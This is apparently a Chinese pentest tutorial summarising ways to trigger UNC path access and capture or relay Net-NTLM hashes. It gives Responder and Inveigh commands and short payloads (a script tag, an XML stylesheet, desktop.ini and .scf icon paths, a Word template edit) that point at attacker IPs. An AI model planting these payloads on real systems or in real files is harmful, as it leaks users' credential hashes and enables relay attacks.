1. 前言
Net-NTLM-hash劫持的时候一般都会用到unc路径,这篇文章是对于可以出发unc路径访问方式的总结。通过对unc路径的访问可以触发ntlm认证。
补充:触发条件
1、如果是域内的机器(包括相互有信任关系的两个域内的机器之间)都可以用UNC路径直接访问共享文件
2、设有两台机器(A,B两机)都已经加入域(或分别属于连个相互信任的域中),如果A机用域用户帐户登录,B机处于本地登陆,那么从A机上可以UNC路径访问B机的共享文件夹,但是B机不能用unc路径访问A机的共享文件夹,这是因为,A机处于域用户登录状态,他可以从DC上获得B机的地址和服务票据(戴有炜《AD配置指南》P195)。但是B机没有在域中,所以无法到DC上查找A机的地址以及获得服务票据。所以B机不能通过UNC路径访问A机。
3、如果两机(A、B机IP段相同)都没有加入域,不管他本来就是工作组状态的两个,还是虽然是域成员,但用了本地帐号登录。这两台机器上没有相同的帐号和密码(比如都有一个hyj帐号,密码都是111),那么他们之间就无法UNC访问共享文件夹。
4、总上所述可以看出来,如果想让A机UNC路径访问B机,有两个途径:
一个是A通过向DC发出查询地址及请求服务票据的方法(A,B都加入域,并且至少A要处于域帐号登录状态),让DC在中间做引荐。
另一种就是在两个机器中一定要存在相同的本地用户帐号和密码。这样A就可以通过在局域网中向指定的主机名发包(UNC路径中就含有机器名,比如//server1/director)的方法找到配对的机器,然后得到这台机器的许可。
所以只要具备上面这两个条件,就可以用UNC路径访问。
如果这样看来,2情况中A如果不能通过DC找到B那么如果AB中都有相同的本地用户帐号和密码,那么他们之间也可以UNC路径访问。
2. 触发方式
涉及到的工具:
- impacket
- responder
- inveigh
2.1 利用协议触发
2.1.1 http
通过responder劫持net-ntlm并结合impacket中的ntlmrelays工具进行relay攻击,如下图执行了whoami命令:
2.1.2 LLMNR和NetBIOS协议
2.1.2.1 通过responder或者inveigh工具
这两个工具利用的是LLMNR和NetBIOS欺骗
。首先我们需要知道Windows系统名称解析顺序为:
本地hosts文件(%windir%\System32\drivers\etc\hosts)
DNS缓存/DNS服务器
链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS) 当用户解析一个无法被解析的主机名的时候,就会走LLMNR协议或者NBT-NS协议。这时候我们就可以做手脚来让用户认为我们就是它想访问的目标,进而跟我们进行NTLM认证,这样子我们就能够获取到其NET-NTLM。
hash。
Responder:
python编写,下载地址:
https://github.com/lgandx/Responder
Inveigh:
powershell编写,下载地址:
https://github.com/Kevin-Robertson/Inveigh
Inveigh
以管理员权限
打开攻击机器的powershell依次输入以下命令:
. .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y
如果有执行策略限制再加一条Set-ExecutionPolicy Bypass -Scope Process
在被攻击机器上的运行框输入一个任意的主机名并点击确定:
这时候返回攻击机,发现已经抓取到NET-NTLM hash
如果对方访问的是正确的主机,则显示的是:
它与域控进行NTLM协商,并没有经过我们的攻击机,也没有走LLMNR与NETBIOS协议。
responder
攻击机执行responder -I eth0 -f
,I后面跟的是当前的网卡名字。被攻击机上执行的操作与Inveigh一样,得到结果如下,依旧抓到了目标用户的NET-NTML hash。
2.2 通过超链接触发
当用户点击超链接的时候就会触发unc路径访问。
2.3 利用xss触发
在htlm文件中嵌入恶意js代码,如果对方浏览了此html文件,则触发unc路径访问:
<script src="\\172.16.100.1\xss">
但这种情况适用于IE和edge,其他浏览器不允许从http域跨到file域。
2.4 利用xml触发
构造恶意的xml文件,如果用户使用word打开,则会触发unc路径访问。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>
<?xml version="1.0" encoding="utf-8" ?>
<Courses>
<Course Number="MS-2524">
<Title>XML Web Services Programming</Title>
</Course>
<Course Number="MS-2124">
<Title>C# Programming</Title>
</Course>
<Course Number="NET2">
<Title>.NET 2.0 Early Adapter</Title>
</Course>
</Courses>
2.5 pdf
利用三好学生的脚本对pdf文件进行修改,当pdf被打开的时候会触发unc访问。
脚本下载地址:https://github.com/3gstudent/Worse-PDF
用户必须使用PDF阅读器打开,如果使用IE或是Chrome打开PDF文件,并不会执行。
2.6 desktop.ini
每个文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到。用户打开含有恶意desktop.ini的文件夹的时候就会触发unc路径访问。
[.ShellClassInfo]
IconResource=\\172.16.250.7\ini\1.ioc
[ViewState]
Mode=
Vid=
FolderType=Generic
经测试,更改桌面上的desktop.ini然后用户访问自己的用户文件夹时会触发unc路径访问。
2.7 scf文件
只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。,用户打开含有恶意scf文件的文件夹时就会触发unc路径访问。
[Shell]
Command=2
IconFile=\\172.16.250.3\scf\test.ico
[Taskbar]
Command=ToggleDesktop
利用失败
2.8 xxe/ssrf
在xxe里面加载外部文件的时候,如果路径支持unc路径的话,是能拿到net-ntlm hash的。
在ssrf里面如果支持file协议,并且file协议能加载远程资源的话,是能拿到net-ntlm hash的。
在xxe和ssrf测试中一般要测试这两个方面
- 支不支持UNC路径,比如\ip\x或者file://ip/x
- 支不支持HTTP(这个一般支持),是不是需要信任域,信任域是怎么判断的
2.9 outlook
将outlook配置成支持html(默认不支持),那么如果他人发送过来的邮件中插入html并含有恶意的xss代码,收件人打开邮件后就会触发unc路径访问。
2.10 word
-
创建一个带模版的word文档,然后将其用360压缩打开
-
进入word_rels文件夹然后打开settings文件
修改target属性,并保存
打开word文档,即刻触发unc路径访问。
3. 参考文章
(原创)UNC路径的访问条件
域渗透学习笔记三:攻击NTLM
Forced Authentication
发起NTLM 请求